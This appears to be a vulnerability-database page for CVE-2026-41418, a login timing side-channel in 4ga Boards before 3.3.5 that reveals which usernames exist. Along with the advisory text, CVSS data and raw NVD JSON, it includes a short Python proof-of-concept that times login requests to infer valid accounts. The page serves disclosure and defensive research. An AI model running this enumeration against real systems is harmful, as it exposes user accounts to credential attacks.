CVE-2026-41418

Description

4ga Boards is a boards system for realtime project management. Prior to 3.3.5, 4ga Boards is vulnerable to user enumeration via a timing side-channel in the login endpoint (POST /api/access-tokens). When an invalid username/email is provided, the server responds immediately (~17ms average). When a valid username/email is provided with an incorrect password, the server first performs a bcrypt.compareSync() operation (~74ms average) before responding. This ~4.4× timing difference is trivially detectable even over a network — a single request suffices. This vulnerability is fixed in 3.3.5.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

4ga Boards < 3.3.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import time

# PoC for User Enumeration via Timing Analysis in 4ga Boards
target_url = "http://target-domain/api/access-tokens"
username_to_check = "admin"

def check_user(username):
    payload = {
        "username": username,
        "password": "incorrect_password_placeholder"
    }
    
    start_time = time.time()
    # Send POST request to login endpoint
    response = requests.post(target_url, data=payload)
    end_time = time.time()
    
    duration = (end_time - start_time) * 1000  # Convert to milliseconds
    print(f"Response time for '{username}': {duration:.2f}ms")
    
    # Threshold based on vulnerability description: ~17ms (invalid) vs ~74ms (valid)
    if duration > 50: 
        print(f"[+] User '{username}' likely exists (High latency due to bcrypt).")
    else:
        print(f"[-] User '{username}' likely does not exist (Low latency).")

check_user(username_to_check)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-41418
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-41418
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-41418/
[4] VulDB https://vuldb.com/cve/CVE-2026-41418
[5] https://github.com/RARgames/4gaBoards/security/advisories/GHSA-8mj9-p99h-jhxp

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-41418", "sourceIdentifier": "[email protected]", "published": "2026-04-24T19:17:13.457", "lastModified": "2026-04-27T19:10:45.587", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "4ga Boards is a boards system for realtime project management. Prior to 3.3.5, 4ga Boards is vulnerable to user enumeration via a timing side-channel in the login endpoint (POST /api/access-tokens). When an invalid username/email is provided, the server responds immediately (~17ms average). When a valid username/email is provided with an incorrect password, the server first performs a bcrypt.compareSync() operation (~74ms average) before responding. This ~4.4× timing difference is trivially detectable even over a network — a single request suffices. This vulnerability is fixed in 3.3.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-208"}]}], "references": [{"url": "https://github.com/RARgames/4gaBoards/security/advisories/GHSA-8mj9-p99h-jhxp", "source": "[email protected]"}]}}